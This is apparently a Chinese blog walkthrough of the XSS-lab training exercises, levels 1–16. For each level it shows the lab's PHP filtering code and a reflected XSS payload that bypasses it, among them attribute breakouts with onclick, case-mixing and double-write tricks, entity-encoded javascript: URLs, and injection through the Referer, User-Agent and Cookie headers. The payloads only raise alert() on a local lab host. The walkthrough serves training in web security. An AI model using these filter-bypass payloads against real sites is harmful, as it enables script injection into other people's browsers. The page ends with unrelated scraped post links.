XSS-lab通过教程🐶
XSS-lab通过教程
Level-1
payload:http://192.168.33.222:40577/level1.php?name=<script>alert(123)</script>
Level-2
- 我们随便输入
123,查看闭合方式

我们可以构造闭合input标签,如何加入script语句
payload:"><script>alert(123)</script>
Level-3
- 首先我们用第二关的payload去尝试,发现显示是一样的,但是没有执行我们的js代码

- 查看源码
<input name=keyword value='".htmlspecialchars($str)."'>
我们发现使用了htmlspecialchars方法,它的作用是将特殊字符转换为html实体。那么什么是HTML实体呢?
说白了就是HTML为了防止特殊符号。例如:
| 特殊字符 | 转化后 |
|---|---|
| & | & |
| " | " |
| < | < |
| > | > |
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur等,下面简单介绍一下关于鼠标事件的一些能引用js代码的函数:
| 属性 | 描述 |
|---|---|
| onclick | 当用户点击某个对象时调用的事件句柄 |
| onmouseenter | 当鼠标指针移动到元素上时触发 |
| onmouseover | 鼠标移到某元素之上 |
payload:' onclick ='javascript:alert(123)'//
注意:我们用的是点击事件,所以我们输入payload之后鼠标还得点击一下输入框才能触发代码
level-4
首先我们发现前端页面跟第2关一样,没什么区别,还是这样的

源码分析
# 我们可以看到首先接收参数,然后将<>都替换成了空
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword value="'.$str3.'">
所有说我们的payload里面不能有<>这两个符号,<script>就不能用了,还是用第三关的payload,只不过闭合方式不一样,这一关是"
payload:" onclick='javascript:alert(123)'//
level-5
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 获取输入的值,赋给$str变量
$str = strtolower($_GET["keyword"]);
# 将<script替换成<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
# 将 on 替换成 o_n
$str3=str_replace("on","o_n",$str2);
<input name=keyword value="'.$str3.'">
这一关我们可以看到带有 <script> 和 on 标签的都没法用了,那么onclick自然用不了了。我们可以尝试构造一个 a 标签,具体payload如下:
"></input><a href='javascript:alert(123)'>ads</a>
level-6
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 替换了<script,on,src,data,href
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword value="'.$str6.'">
虽说这一关过滤了上面这些字符串,但是我们可以换大写或者大小混写就可以绕过了,还是用第五关的payload:
"></input><a Href='javascript:alert(123)'>ads</a>
level-7
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 将输入的字符全部替换成小写,然后将下面这些字符串替换成空
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword value="'.$str6.'">
所以这一关我们就没法用大写或者大小混写绕过了,但是我们可以用双写绕过
payload:"><scriscriptpt>alert(123)</scriscriptpt>
level-8
首先还是测试123看看闭合,发现跟第二关依然一样,接下来我们看看源码吧
源码分析
# 将输入的关键字替换成小写,然后过滤下面的字符串,最后进行html实体转义
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
所以说这一关用不了 <script> 标签了,我们输入第二关的payload试试,然后查看网页源码发现

发现上面value的标签都被html实体化了,下面href里面的内容被替换了,那里就是我们输入的内容,我们直接输入javascript:alert(123)到a标签的href属性中就可以触发xss,我们发现直接输入的话script会被_下划线隔开,所以我们进行html编码输入:
payload:
javascript:alert(1)
level-9
首先我们还是拿第二关的payload测试一下,发现不一样的,现在变成输出指定的字符串了

居然说输入的不合法,那么我们输入一个合法的看看是什么样
payload:http://www.baidu.com

再加点东西动动手脚看看
payload:javascript:alert(123)//http://www.baidu.com

发现还是不行,被替换了,编码输入在看看
payload:
javascript:alert(123)//http://www.baidu.com
level-10
源码分析
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
这个题跟前面的都不一样,首先查看源码发现了三个隐藏的input标签

那么我们根据他们的name构造传值,改变他们的type属性,看谁能显示出来,谁就能被输入,我们查看源码发现最后一位显示出来了。
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//
payload:&t_sort=" type='text' onclick='javascript:alert(1)'>//
level-11
首先我们查看一下源码,发现又有四个标签隐藏了

还是一样的测试一下那个标签能够被显示出来,说明它能够接收数据
payload:
t_link=" type='text'%3E//&t_history=" type='text'%3E//&t_sort=" type='text'%3E//&t_ref=" typr='text'%3E//
发现还是t_sort,只不过"和>被过滤了,再仔细看看,发现上面t_ref的值咋变了,查看源码发现原来这个题的触发点在t_ref
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
我们发现他是接收http头部的REFERER字段的值,然后经过过滤>和<之后插入了t_ref的值之中,所以我们抓包修改referer字段的值触发xss
payload:" type='text' onclick='javascript:alert(1)'>//
level-12
首先看看源码,发现又有四个隐藏标签

然后还发现t_ua居然有值,没猜错的话这个题触发点应该在uagent,我们看看源码
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
好的,看了源码之后,发现这个题跟第11关的区别就是这个题的触发点在Uagent,我们抓包传入payload:
" type='text' onclick='javascript:alert(1)'>//
level-13
首先看看源码发现又有四个隐藏字段

然后测试一下看哪个能够显示出来说明能够输入,我们发现t_sort被过滤了,然后就没有了

按这尿性,不用猜也知道这一关触发点肯定在t_cook,我们看看源码
源码分析
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
果然触发点在cookie的user字段,不说了,直接抓包打payload
" type='text' onclick='javascript:alert(1)'>//
level-14
xswl,md一点头绪没有,上网一查题有问题,溜了溜了!
level-15
不说了,先看一波源码

啥信息没看着,就看到个这个,上万能的百度搜一下,还真搜到用法了,包含外部html文件

话说包含外部文件传参点是啥,想不出来,再看一波源码原来是src
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
说是包含外部html文件,那我们拿第一关的网址试试

发现<和>被html实体化了,而且这一关没有任何点击的地方,所以我们只能用onerror方法,构造一个img标签,payload:?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'
level-16
源码分析
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
我们发现过滤了script,空格,/,所以我们尝试加个a标签,空格用回车编码代替,点击图片过关
payload:<a%0D%0Aonclick='alert(1)'>
level 17
不会了,后面等我升级了在来填这个坑吧!
XSS-lab通过教程🐶的更多相关文章
- XSS高级实战教程
1.[yueyan科普系列]XSS跨站脚本攻击--yueyan 2.存储型XSS的成因及挖掘方法--pkav 3.跨站脚本攻击实例解析--泉哥 4.XSS高级实战教程--心伤的瘦子 5.XSS利用与挖 ...
- DVWA XSS (Reflected) 通关教程
XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...
- DVWA XSS (Stored) 通关教程
Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...
- DVWA XSS (DOM) 通关教程
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...
- Web安全XSS
Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...
- 第一次在新西兰组织技术社区活动:Monkeyfest2018
从3月份登陆到现在,转眼间已经8个月了.在6个月的时候我就想写篇文总结下近期的一些状况,一直拖到现在.因为近期一直在筹备我第一次社区活动——Monkeyfest 2018,占用了比较多的时间.这是一个 ...
- 2017-2018-2 20155315《网络对抗技术》Exp8 :Web基础
实验目的 理解HTML,学会Web前端.Web后端和数据库编程及SQL注入.XSS攻击测试 教程 实验内容 操作程序规律 运行脚本或可执行文件 查看配置文件 出错找日志 Web前端HTML 能正常安装 ...
- 2018-2019-2 网络对抗技术 20165230 Exp8 Web基础
目录 实验目的 实验内容 实验步骤 (一)Web前端HTML Apache HTML编程 (二) Web前端javascipt 基础知识理解 JavaScript编程 (三)Web后端:MySQL基础 ...
- 有关XSS的一个系列教程
在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了. 这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1 几个常见的语句 < ...
- [视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程
[视频]K8飞刀 WordPress XSS添加管理员 & GetShell 教程 https://pan.baidu.com/s/1hq4LsmK
随机推荐
- 数组队列如何手撕?解密ArrayBlockingQueue的实现内幕!
队列 聊起队列,你一定会联想到一个与队列相似的数据结构:栈. 为了更好的理解什么是队列,我们将它和栈来比较一下: 队列的特点是:先进先出,如下图,1先进,1就先出. 图1:队列的图解 栈的特点是:先进 ...
- LuoguP7715 「EZEC-10」Shape 题解
Content 有一个 \(n\times m\) 的网格,网格上的格子被涂成了白色或者黑色. 设两个点 \((x_1,y_1)\) 和 \((x_2,y_2)\),如果以下三个条件均满足: \(1\ ...
- python 豆瓣top250
豆瓣电影 import re import requests headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; ...
- springboot整合阿里云视频点播接口
官方SDK文档地址: https://help.aliyun.com/document_detail/57756.html?spm=a2c4g.11186623.6.904.4e0d3bd9VbkIC ...
- Linux宝塔面板部署运行jar包
登录面板 安装插件 把jar包上传上去 设置jar包 填写项目启动的端口 然后点击确定 会自动启动 然后浏览器打开 ip:端口 即可
- 查找MySql的配置文件my.cnf所在路径
Linux系统 linux 上可以使用 mysql --help|grep my.cnf 过滤查看 [root@localhost etc]# mysql --help|grep my.cnf ord ...
- 【LeetCode】1221. Split a String in Balanced Strings 解题报告 (C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 统计 日期 题目地址:https://leetcode ...
- 【LeetCode】344. Reverse String 解题报告(Java & Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 新构建字符串 原地翻转 日期 题目地址:https://lee ...
- 【经验】 Java BigInteger类以及其在算法题中的应用
[经验] Java BigInteger类以及其在算法题中的应用 标签(空格分隔): 经验 本来在刷九度的数学类型题,有进制转换和大数运算,故而用到了java BigInteger类,使用了之后才发现 ...
- 【LeetCode】39. Combination Sum 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 方法一:递归 方法二:回溯法 日期 题目地址:[htt ...